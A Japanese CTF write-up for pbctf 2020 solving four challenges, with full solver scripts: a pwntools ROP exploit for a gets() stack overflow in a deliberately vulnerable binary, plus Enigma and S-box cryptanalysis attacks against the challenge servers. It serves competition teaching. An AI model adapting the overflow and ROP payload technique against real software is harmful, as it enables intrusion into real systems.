pbctf 2020 Writeup
先日開催されたpbctf 2020に./Vespiaryで参加したのでそのWriteupになります。
解けた問題 §
- [Misc]Not-stego
- [Pww]Amazing ROP
- [Crypto]Ainissesthai
- [Crypto]Queensarah2
[Misc]Not-stego §
x86のあるセクションのディスアセンブルの"画像"をくれる。よく見るとdaaというaddの後に来るはずの命令があるのだが、addが存在してない事から命令列としては不正(というか意味をなさない)と思われる。
更に観察すると構成しているバイトがどれもASCII範囲内っぽいので下記スクリプトで文字にしてみるとpastebinのリンクが現れるのでそこに飛ぶとフラグが書かれている。
if __name__ == '__main__':
nums = [
0x48, 0x65, 0x72, 0x65, 0x27, 0x73, 0x20, 0x6d, 0x79, 0x20, 0x6c, 0x69, 0x6e, 0x6b, 0x3a, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x70, 0x61, 0x73, 0x74, 0x65, 0x62, 0x69, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6a, 0x36, 0x58, 0x64, 0x39, 0x47, 0x4e, 0x4d, 0x20, 0x20, 0x3c, 0x2d, 0x2d, 0x20, 0x48, 0x65, 0x68, 0x65, 0x68, 0x65, 0x68, 0x65, 0x21, 0x20, 0x53, 0x65, 0x65, 0x20, 0x69, 0x66, 0x20, 0x79, 0x6f, 0x75, 0x20, 0x63, 0x61, 0x6e, 0x20, 0x52, 0x45, 0x20, 0x6d, 0x65
]
print(len(nums))
dump = ""
for c in nums:
dump += chr(c)
print(dump)
"Here's my link: https://pastebin.com/j6Xd9GNM <-- Hehehehe! See if you can RE me"が現れる
Flag: pbctf{3nc0d1ng_w1th_ass3mbly}
[Pwn]Amazing ROP §
2020年で1番初心者に配慮されているPwn(ROP)。
次のようなソースコードとそれをコンパイルしたバイナリをくれる
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
asm("pop %eax; int3; ret");
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
// This is what you need to do to get the first flag
// void print_flag() {
// asm volatile("mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3" ::: "eax");
// }
int show_color = 0;
int prompt(char *prompt, int def) {
char buff[32];
printf("%s", prompt);
fgets(buff, sizeof(buff), stdin);
if (buff[0] == 'Y' || buff[0] == 'y')
return 1;
else if (buff[0] == 'N' || buff[0] == 'n')
return 0;
else
return def;
}
void vuln() {
int secret = 0xdeadbeef;
char padding[16];
char buff[32];
show_color = prompt("Do you want color in the visualization? (Y/n) ", 1);
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
// Check if secret has changed.
if (secret == 0x67616c66) {
puts("You did it! Congratuations!");
// print_flag(); // Print out the flag. You deserve it. (not anymore)
printf("Returning to address: %p\n", (&secret)[4]);
return;
} else if (secret != 0xdeadbeef) {
puts("Wow you overflowed the secret value! Now try controlling the value of it!");
} else {
puts("Maybe you haven't overflowed enough characters? Try again?");
}
exit(0);
}
int main(int argc, char **argv) {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
safeguard();
vuln();
}
gets()を使っていることから自明なBOFがあり、これでbufの下のpaddingとsecretに加えてスタックフレーム以下も書き換える事が出来る。
ご丁寧な事に、現在のスタックの状況を教えてくれ、そこにmain関数に戻る際のアドレスが記載されている事から、PIE有効下にも関わらず、ELFの配置アドレスは判明する。また、退避させたebpもBOFで書き換えてしまうと落ちるのでこれも取得して書き換えないようにする。
というわけで、まずはsecret = 0x67616c66になるようにしてからコメントアウトされているprint_flag()関数内の処理をするようにROPを組む。
asm("pop %eax; int3; ret");が書かれているようにクソ便利なROP Gadgetもあるのでこれを使う。
使用スクリプトは次の通り
from pwn import remote, p32
# connection info
target = "maze.chal.perfect.blue"
port = 1
def create_conn():
sc = remote(target, port)
sc.recvuntil(b"(Y/n) ")
sc.sendline(b"n")
return sc
def get_gadgets(elf_base):
gadgets = {}
gadgets["pop_regs"] = elf_base + 0x1396 # 0x00001396: pop esi ; pop edi ; pop ebp ; ret ;
gadgets["pop_eax_int3_ret"] = elf_base + 0x13ad # 0x000013ad: pop eax ; int3 ; ret ;
return gadgets
def recover_addr(nums):
raw_addr = ""
for n in reversed(nums):
raw_addr += n
return int(raw_addr, 16)
def parse(line):
hex_str = line[13:-2].split(" ")
top_half = hex_str[:4]
bottom_half = hex_str[4:]
return (recover_addr(top_half), recover_addr(bottom_half))
def get_params(sc):
raw_stack = (sc.recvuntil("Input")[:-5]).strip().decode().split("\n")
moved_ebp = parse(raw_stack[7])[1]
elf_base = parse(raw_stack[8])[0] - 0x1599
return {
"ebp": moved_ebp,
"elf_base": elf_base
}
def exploit(sc):
junk = [b"a"*8*6]
secret = p32(0x67616c66)
payload = junk[0] + secret + b"a" * 8
params = get_params(sc)
elf_base = params["elf_base"]
rop_gadgets = get_gadgets(elf_base)
payload += p32(params["ebp"])
payload += p32(rop_gadgets["pop_regs"])
payload += p32(0x1337)
payload += p32(0x31337)
payload += p32(0xdeadbeef)
payload += p32(rop_gadgets["pop_eax_int3_ret"])
payload += p32(1)
sc.recvuntil("some text: ")
sc.sendline(payload)
if __name__ == '__main__':
sc = create_conn()
exploit(sc)
sc.interactive()
sc.close()
Flag: pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}
[Crypto]Ainissensthai §
配布スクリプトは次の通り
#!/bin/env python3
from string import ascii_uppercase as UC
from random import SystemRandom
from enigma.machine import EnigmaMachine
from secretstuff import FLAG, PLUGBOARD_SETTINGS
assert FLAG.isupper() # Without pbcft{...}
random = SystemRandom()
for _ in range(50):
ROTORS = [random.choice(("I","II","III","IV","V","VI","VII","VIII")) for _ in range(3)]
REFLECTOR = random.choice(("B", "C", "B-Thin", "C-Thin"))
RING_SETTINGS = [random.randrange(26) for _ in range(3)]
machine = EnigmaMachine.from_key_sheet(
rotors=ROTORS,
reflector=REFLECTOR,
ring_settings=RING_SETTINGS,
plugboard_settings=PLUGBOARD_SETTINGS)
machine.set_display(''.join(random.sample(UC, 3)))
ciphertext = machine.process_text(FLAG)
print(ciphertext)
プラグボードが固定だが暗号化毎にローター, リフレクター, リング設定が変わるエニグママシンが動いており、フラグを50回暗号化した結果をくれる。
エニグマはどういうわけか平文と同じインデックスに同じ文字が来ないという性質がある(FLAGを暗号化した際、どのようなローター, リフレクター, リング設定, プラグボードを使っても1文字目にFが来る事はないし、他の文字も同様)。
というわけで十分な量の暗号文を手に入れ、各インデックスに出現しない文字を並べればフラグになる。
使用したコードは次の通り
from pwn import remote
from string import ascii_uppercase as UC
# connection info
target = "ainissesthai.chal.perfect.blue"
port = 1
def create_conn():
return remote(target, port)
def exploit():
cts = []
for _ in range(5):
sc = create_conn()
for _ in range(50):
cts.append(sc.recvline().strip().decode())
length = len(cts[0])
flag = ""
for idx in range(length):
c_set = set()
for ct in cts:
c = ct[idx]
c_set.add(c)
if len(c_set) < 25:
print("[+] Please retry...")
exit()
for c in UC:
if c not in c_set:
flag += c
break
return flag
if __name__ == '__main__':
flag = exploit()
print(f"pbctf{{{flag}}}")
Flag: pbctf{FATALFLAWINENIGMA}
[Crypto]Queensarah2 §
次のようなスクリプトがサーバー上で動いている。
#!/usr/bin/env python3
from string import ascii_lowercase
from itertools import product
from random import SystemRandom
from math import ceil, log
from secretstuff import FLAG
random = SystemRandom()
ALPHABET = ascii_lowercase + "_"
assert all(char in ALPHABET for char in FLAG)
bigrams = [''.join(bigram) for bigram in product(ALPHABET, repeat=2)]
random.shuffle(bigrams)
S_box = {}
for i in range(len(ALPHABET)):
for j in range(len(ALPHABET)):
S_box[ALPHABET[i]+ALPHABET[j]] = bigrams[i*len(ALPHABET) + j]
assert len(set(S_box.keys())) == 27*27
def encrypt(message):
if len(message) % 2:
message += "_"
message = list(message)
rounds = int(2 * ceil(log(len(message), 2))) # The most secure amount of rounds
for round in range(rounds):
# Encrypt
for i in range(0, len(message), 2):
message[i:i+2] = S_box[''.join(message[i:i+2])]
# Shuffle, but not in the final round
if round < (rounds-1):
message = [message[i] for i in range(len(message)) if i%2 == 0] + [message[i] for i in range(len(message)) if i%2 == 1]
return ''.join(message)
if __name__ == "__main__":
print("This is a restricted service! Decrypt this password to proceed:")
print({encrypt(FLAG)})
for _ in range(1500):
question = input("> ").strip()
assert 0 < len(question) <= 10000
if not question:
print("Bye.")
break
elif question == FLAG:
print(f"You got it. The flag is pbctf{{{FLAG}}}")
break
else:
print("That's not quite right. Your password encrypts to this:")
print(encrypt(question))
2文字のアルファベット(+_)から別の2文字のアルファベット(+_)への置換がS_boxで定義されている。
各ラウンド毎に
S_boxを用いて2文字ずつ平文を置換する- 最終ラウンドで無ければ偶数インデックスの文字を先頭に、奇数インデックスの文字を後半に配置する並び替えを行う
という操作が行われる単純なSPN構造である。ラウンド数はrounds = int(2 * ceil(log(len(message), 2)))で定義されている通りである。
サーバーに接続するとまずフラグを暗号化したものをくれる。以後、最大1500回の入力を受け付けてフラグの括弧内に一致するものを送ると正解の旨を告知してフラグが表示される。失敗した場合でもその暗号化結果をくれる。
ここで2文字だけの平文を送ると次のような暗号化が発生する(ラウンド数は2)。
round1: ab -(s_box)-> xy -(p_box)-> xy
round2: xy -(s_box)-> cd
2文字ではpermutationが恒等写像になる事を利用すると2文字の平文を入れた際の暗号文はciphertext = s_box[s_box[plaintext]]が成り立つ事になる。とりあえずこれを27*27通り全部取得する(結構時間がかかる)。
ところでこの置換は、置換された結果を更に置換する、というように置換を繰り返していくといずれ自身に戻ってくる。
これは得られた1つ飛ばしの置換規則でも同様なので、巡回する複数の1つ飛ばしに分解しておく。
この巡回する置換規則が上記の1つ飛ばし置換だとどうなるかを要素数の偶奇で分けて考えてみる。
要素数が偶数の場合 §
わかりやすいように置換の要素をアルファベットでは無く添え字で表す。
例えば1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 1のような置換の場合、1つ飛ばしの置換で次の2つが得られる。
1 -> 3 -> 5 -> 1, 2 -> 4 -> 6 -> 2
よって得られた1つ飛ばしの置換規則の内、要素数が同じ2つを組み合わせる事で元の置換規則の候補を列挙する事が出来る。
この例では
1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 11 -> 4 -> 3 -> 6 -> 5 -> 2 -> 11 -> 6 -> 3 -> 2 -> 5 -> 4 -> 1
の3つの巡回置換規則を候補として得ることが出来る。
要素数が奇数の場合 §
例えば1 -> 2 -> 3 -> 4 -> 5 -> 1という置換の場合、1つ飛ばしの置換で次が得られる。
1 -> 3 -> 5 -> 2 -> 4 -> 1
要素数が奇数の巡回する置換は1つ飛ばしでも自己完結する事がわかる。
したがって得られた1つ飛ばしの置換規則の内、自身と同じ要素数のものが無いものは要素数が奇数の置換規則へ復元する事ができる。
というわけで得られた1つ飛ばしの置換規則を要素数で分類する。同じ要素数のものが無い場合は奇数の置換規則へと復元し、同じ要素数のものが2つである場合は考えられる置換規則を列挙する。但し、3つ以上ある場合は"""面倒なので"""諦めて再接続する(可能性としては5割ぐらい?)。
要素数が偶数の置換規則はあくまで候補しか得られないので最終的にS_boxの候補が複数得られる。事前にある平文と暗号文の対応を得ておき、この候補が正しく復号するかを試す事で正しいS_boxを得る事が出来る。
なお、候補の直積を処理するコードを書くのが面倒だという理由で、要素数が偶数の置換規則が複数得られた場合は再接続している(このせいで成功確率は2割に落ちる事をローカルの検証で確認した)。
こうして正しいS_boxが得られたらそれを用いて最初にくれた暗号文を復号すればフラグの中身が表示され、提出すると正解である旨を知らされる。
使用したスクリプトは次の通り(自作のロガーを使用しています)
from pwn import remote
from string import ascii_lowercase
from math import ceil, log
from xlog import XLog
# connection info
target, port = "queensarah2.chal.perfect.blue", 1
# other global vars (don't change them if you can)
ALPHABET = ascii_lowercase + "_"
logger = XLog("CRYPTO")
def create_conn():
sc = remote(target, port)
sc.recvline()
return sc
def decrypt(ct, sbox):
l = len(ct)
rounds = int(2 * ceil(log(l, 2)))
reversed_sbox = {}
for k, v in sbox.items():
reversed_sbox[v] = k
pt = list(ct)
for round in range(rounds):
# recover permutation
if round > 0:
pt_c_list = ["?" for _ in range(l)]
top_half = pt[:l//2]
bottom_half = pt[l//2:]
for i, c in enumerate(top_half):
pt_c_list[i*2] = c
for i, c in enumerate(bottom_half):
pt_c_list[i*2 + 1] = c
assert "?" not in pt_c_list
for i, c in enumerate(pt_c_list):
pt[i] = c
# recover substitution
for i in range(0, l, 2):
pt[i:i+2] = reversed_sbox[''.join(pt[i:i+2])]
return "".join(pt)
def get_next_next_dict(sc):
ret = {}
for c_1 in ALPHABET:
# logger.info(f"attempting: {c_1}")
for c_2 in ALPHABET:
c_key = c_1 + c_2
sc.recvuntil("> ")
sc.sendline(c_key)
sc.recvline()
ret[c_key] = [sc.recvline().strip().decode(), False]
return ret
def analyze_dict(d):
groups = []
for k, v in d.items():
if v[1]:
continue
v[1] = True
group = [k]
next_key = v[0]
while next_key != k:
d[next_key][1] = True
group.append(next_key)
next_key = d[next_key][0]
groups.append(group)
return groups
def get_group_by_length(groups):
group_by_length = {}
for group in groups:
length = len(group)
if length not in group_by_length:
group_by_length[length] = [group]
else:
group_by_length[length].append(group)
return group_by_length
def get_sbox_from_single_dict(group):
l = group
ret = ["?" for _ in range(len(group))]
for i, c in enumerate(l):
if i * 2 < len(ret):
ret[i*2] = c
else:
ret[i*2 - len(ret)] = c
return ret
def marge_dict(l1, l2, offset):
l = len(l1)
assert l == len(l2)
ret = ["?" for _ in range(l * 2)]
for i, c in enumerate(l1):
ret[2*i] = c
for i, c in enumerate(l2):
idx = 2*(i + offset) + 1
if idx > l * 2:
idx -= 2*l
ret[idx] = c
assert "?" not in ret
return ret
def get_sbox_candidates(group):
l1 = group[0]
l2 = group[1]
l = len(l1)
ret = []
for offset in range(l):
ret.append(marge_dict(l1, l2, offset))
return ret
def convert_to_sbox(groups):
ret = {}
for group in groups:
start = group[0]
for i, c in enumerate(group):
if i == len(group) - 1:
ret[c] = start
else:
ret[c] = group[i+1]
return ret
def create_sbox(group_by_length, two_cnt, test_data):
d = []
candidates_list = []
for v in group_by_length.values():
if len(v) == 1:
res = get_sbox_from_single_dict(v[0])
d.append(res)
else:
res = get_sbox_candidates(v)
candidates_list.append(res)
sbox = {}
if two_cnt == 0:
logger.info("count0")
sbox = convert_to_sbox(d)
elif two_cnt == 1:
logger.info("count1")
candidates = candidates_list[0]
for candidate in candidates:
d.append(candidate)
sbox = convert_to_sbox(d)
d.pop()
if decrypt(test_data[1], sbox) == test_data[0]:
return sbox
elif two_cnt == 2:
logger.info("count2")
candidates1 = candidates_list[0]
candidates2 = candidates_list[1]
for candidate1 in candidates1:
d.append(candidate1)
for candidate2 in candidates2:
d.append(candidate2)
sbox = convert_to_sbox(d)
d.pop()
if decrypt(test_data[1], sbox) == test_data[0]:
return sbox
d.pop()
if decrypt(test_data[1], sbox) == test_data[0]:
return sbox
logger.warning("failed...")
return None
def exploit():
sc = create_conn()
ct = sc.recvline().strip().decode()[2:-2]
assert len(ct) % 2 == 0
# logger.info(f"cipher text: {ct}")
# get test data
test_pt = "unkounkounkounko"
sc.recvuntil("> ")
sc.sendline(test_pt)
sc.recvline()
test_data = (test_pt, sc.recvline().strip().decode())
# exploit
d = get_next_next_dict(sc)
groups = analyze_dict(d)
group_by_length = get_group_by_length(groups)
two_cnt = 0
for k, v in group_by_length.items():
if len(v) > 2:
logger.warning("not ideal case...")
return False
if len(v) == 2:
two_cnt += 1
if two_cnt > 2:
logger.warning("not ideal case...")
return False
sbox = create_sbox(group_by_length ,two_cnt, test_data)
if sbox is None:
return False
ans = decrypt(ct, sbox)
sc.recvuntil("> ")
sc.sendline(ans)
res = sc.recvline()
if b"pbctf" in res:
logger.info("found!!")
print(res)
return True
return False
if __name__ == '__main__':
valid_cnt = 0
while True:
res = exploit()
if res:
break
Flag: pbctf{slide_attack_still_relevant_for_home_rolled_crypto_systems}
Thanks for reading! Read other posts?